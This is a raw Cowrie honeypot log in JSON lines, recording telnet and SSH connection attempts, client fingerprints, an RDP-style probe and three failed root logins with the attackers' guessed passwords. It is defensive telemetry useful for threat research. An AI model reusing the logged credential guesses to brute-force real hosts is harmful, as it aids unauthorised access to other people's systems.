{"eventid":"cowrie.session.closed","duration":41.87448596954346,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:31.275307Z","src_ip":"192.119.13.58","session":"b0d46e162577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.93714785575867,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:33.758945Z","src_ip":"192.119.13.58","session":"a049847f06ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64005,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c85f9287e93","protocol":"ssh","message":"New connection: 152.42.212.128:64005 (10.17.0.5:22) [session: 6c85f9287e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:34.376839Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:34.381477Z","src_ip":"152.42.212.128","session":"6c85f9287e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:34.386749Z","src_ip":"152.42.212.128","session":"6c85f9287e93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41312,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad5869c9a989","protocol":"telnet","message":"New connection: 192.119.13.58:41312 (10.17.0.5:23) [session: ad5869c9a989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:35.155368Z"}
{"eventid":"cowrie.session.closed","duration":4.6481475830078125,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:39.803405Z","src_ip":"192.119.13.58","session":"ad5869c9a989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":34958,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c842ab8b2d2","protocol":"ssh","message":"New connection: 185.236.22.41:34958 (159.203.135.109:22) [session: 1c842ab8b2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:39.923302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:39.928482Z","src_ip":"185.236.22.41","session":"1c842ab8b2d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:40.041498Z","src_ip":"185.236.22.41","session":"1c842ab8b2d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777123","message":"login attempt [root/7777777123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:40.450385Z","src_ip":"185.236.22.41","session":"1c842ab8b2d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39962,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9f609622c76","protocol":"telnet","message":"New connection: 192.119.13.58:39962 (10.17.0.5:23) [session: e9f609622c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:40.890756Z"}
{"eventid":"cowrie.session.closed","duration":0.004638671875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:40.895286Z","src_ip":"192.119.13.58","session":"e9f609622c76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:41.736772Z","src_ip":"185.236.22.41","session":"1c842ab8b2d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.32936382293701,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:44.484033Z","src_ip":"192.119.13.58","session":"f46fe8bb48b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60256,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d9c008b754","protocol":"telnet","message":"New connection: 192.119.13.58:60256 (10.17.0.5:23) [session: 51d9c008b754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:45.757332Z"}
{"eventid":"cowrie.session.closed","duration":48.500224351882935,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:49.814858Z","src_ip":"192.119.13.58","session":"6ce5cc329073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59554,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dd20189828e","protocol":"telnet","message":"New connection: 192.119.13.58:59554 (10.17.0.5:23) [session: 9dd20189828e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:52.508103Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59716,"dst_ip":"10.17.0.5","dst_port":23,"session":"29cb2dd9e6c0","protocol":"telnet","message":"New connection: 192.119.13.58:59716 (10.17.0.5:23) [session: 29cb2dd9e6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:52.557071Z"}
{"eventid":"cowrie.session.closed","duration":54.07266449928284,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:53.131642Z","src_ip":"192.119.13.58","session":"ced8b333a00b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.21926522254944,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:55.018267Z","src_ip":"192.119.13.58","session":"47a95e46b61f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47738,"dst_ip":"10.17.0.5","dst_port":23,"session":"f165c22a3fa2","protocol":"telnet","message":"New connection: 192.119.13.58:47738 (10.17.0.5:23) [session: f165c22a3fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:56.477316Z"}
{"eventid":"cowrie.session.closed","duration":2.4198379516601562,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:58.897071Z","src_ip":"192.119.13.58","session":"f165c22a3fa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.40110182762146,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:00.908980Z","src_ip":"192.119.13.58","session":"9dd20189828e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.86599898338318,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:02.801787Z","src_ip":"192.119.13.58","session":"34a737319359","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38884,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdb47a8600aa","protocol":"telnet","message":"New connection: 192.119.13.58:38884 (10.17.0.5:23) [session: fdb47a8600aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:07.846997Z"}
{"eventid":"cowrie.session.closed","duration":41.382888317108154,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:08.348194Z","src_ip":"192.119.13.58","session":"77dc9976dce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.103445529937744,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:08.825515Z","src_ip":"192.119.13.58","session":"6f20e43e0713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":39300,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6fa67d3545b","protocol":"ssh","message":"New connection: 147.45.199.80:39300 (159.203.135.109:22) [session: a6fa67d3545b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:11.992584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:11.995656Z","src_ip":"147.45.199.80","session":"a6fa67d3545b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:12.090448Z","src_ip":"147.45.199.80","session":"a6fa67d3545b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfnfirf","message":"login attempt [root/yfnfirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:12.378183Z","src_ip":"147.45.199.80","session":"a6fa67d3545b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:13.478227Z","src_ip":"147.45.199.80","session":"a6fa67d3545b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.101369380950928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:16.858572Z","src_ip":"192.119.13.58","session":"51d9c008b754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52112,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba37cac60e80","protocol":"telnet","message":"New connection: 192.119.13.58:52112 (10.17.0.5:23) [session: ba37cac60e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:18.006534Z"}
{"eventid":"cowrie.session.closed","duration":0.010790824890136719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:18.017181Z","src_ip":"192.119.13.58","session":"ba37cac60e80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39334,"dst_ip":"10.17.0.5","dst_port":23,"session":"221f553352cd","protocol":"telnet","message":"New connection: 192.119.13.58:39334 (10.17.0.5:23) [session: 221f553352cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:21.752682Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58770,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2e270ae4053","protocol":"telnet","message":"New connection: 192.119.13.58:58770 (10.17.0.5:23) [session: f2e270ae4053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:26.224864Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35220,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a62527de4bf","protocol":"ssh","message":"New connection: 51.250.105.222:35220 (159.203.135.109:22) [session: 3a62527de4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:29.686172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:29.691110Z","src_ip":"51.250.105.222","session":"3a62527de4bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:29.817540Z","src_ip":"51.250.105.222","session":"3a62527de4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spirit","message":"login attempt [root/spirit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:30.194530Z","src_ip":"51.250.105.222","session":"3a62527de4bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51528,"dst_ip":"10.17.0.5","dst_port":23,"session":"68e9cb7da699","protocol":"telnet","message":"New connection: 192.119.13.58:51528 (10.17.0.5:23) [session: 68e9cb7da699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:31.082907Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:31.323012Z","src_ip":"51.250.105.222","session":"3a62527de4bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56318,"dst_ip":"10.17.0.5","dst_port":23,"session":"447f00c2057f","protocol":"telnet","message":"New connection: 192.119.13.58:56318 (10.17.0.5:23) [session: 447f00c2057f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:32.214808Z"}
{"eventid":"cowrie.session.closed","duration":40.15745449066162,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:32.714440Z","src_ip":"192.119.13.58","session":"29cb2dd9e6c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37886,"dst_ip":"10.17.0.5","dst_port":23,"session":"786ee19b81b9","protocol":"telnet","message":"New connection: 192.119.13.58:37886 (10.17.0.5:23) [session: 786ee19b81b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:34.462198Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43452,"dst_ip":"10.17.0.5","dst_port":23,"session":"06c3c521a883","protocol":"telnet","message":"New connection: 192.119.13.58:43452 (10.17.0.5:23) [session: 06c3c521a883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:35.652023Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47406,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa19b293cb7d","protocol":"telnet","message":"New connection: 192.119.13.58:47406 (10.17.0.5:23) [session: aa19b293cb7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:36.626675Z"}
{"eventid":"cowrie.session.closed","duration":0.0057065486907958984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:36.632277Z","src_ip":"192.119.13.58","session":"aa19b293cb7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38464,"dst_ip":"10.17.0.5","dst_port":23,"session":"167d419c08f8","protocol":"telnet","message":"New connection: 192.119.13.58:38464 (10.17.0.5:23) [session: 167d419c08f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:41.363162Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46864,"dst_ip":"10.17.0.5","dst_port":23,"session":"e01e0e0ae109","protocol":"telnet","message":"New connection: 192.119.13.58:46864 (10.17.0.5:23) [session: e01e0e0ae109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:43.273161Z"}
{"eventid":"cowrie.session.closed","duration":37.545345067977905,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:45.392247Z","src_ip":"192.119.13.58","session":"fdb47a8600aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47448,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7e5f865ec7","protocol":"telnet","message":"New connection: 192.119.13.58:47448 (10.17.0.5:23) [session: 8f7e5f865ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:46.451375Z"}
{"eventid":"cowrie.session.closed","duration":120.00509881973267,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:50.598001Z","src_ip":"186.195.16.41","session":"21894b8fdc7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.8845489025116,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:56:56.637112Z","src_ip":"192.119.13.58","session":"221f553352cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.39582896232605,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:08.620561Z","src_ip":"192.119.13.58","session":"f2e270ae4053","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54710,"dst_ip":"10.17.0.5","dst_port":23,"session":"94a4280fa838","protocol":"telnet","message":"New connection: 192.119.13.58:54710 (10.17.0.5:23) [session: 94a4280fa838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:12.782790Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60586,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc56142d9c65","protocol":"telnet","message":"New connection: 192.119.13.58:60586 (10.17.0.5:23) [session: bc56142d9c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:14.285557Z"}
{"eventid":"cowrie.session.closed","duration":44.56470775604248,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:15.647529Z","src_ip":"192.119.13.58","session":"68e9cb7da699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.770026206970215,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:16.421854Z","src_ip":"192.119.13.58","session":"06c3c521a883","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44634,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb8507db8d1","protocol":"telnet","message":"New connection: 192.119.13.58:44634 (10.17.0.5:23) [session: 4cb8507db8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:17.228937Z"}
{"eventid":"cowrie.session.closed","duration":44.871480226516724,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:19.333577Z","src_ip":"192.119.13.58","session":"786ee19b81b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58200,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e0f8231b135","protocol":"telnet","message":"New connection: 192.119.13.58:58200 (10.17.0.5:23) [session: 2e0f8231b135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:20.640291Z"}
{"eventid":"cowrie.session.closed","duration":40.62507438659668,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:21.988131Z","src_ip":"192.119.13.58","session":"167d419c08f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40720,"dst_ip":"10.17.0.5","dst_port":23,"session":"695d6ec4b0f9","protocol":"telnet","message":"New connection: 192.119.13.58:40720 (10.17.0.5:23) [session: 695d6ec4b0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:23.163630Z"}
{"eventid":"cowrie.session.closed","duration":51.01044416427612,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:23.225122Z","src_ip":"192.119.13.58","session":"447f00c2057f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.60725998878479,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:25.880288Z","src_ip":"192.119.13.58","session":"e01e0e0ae109","protocol":"telnet"}
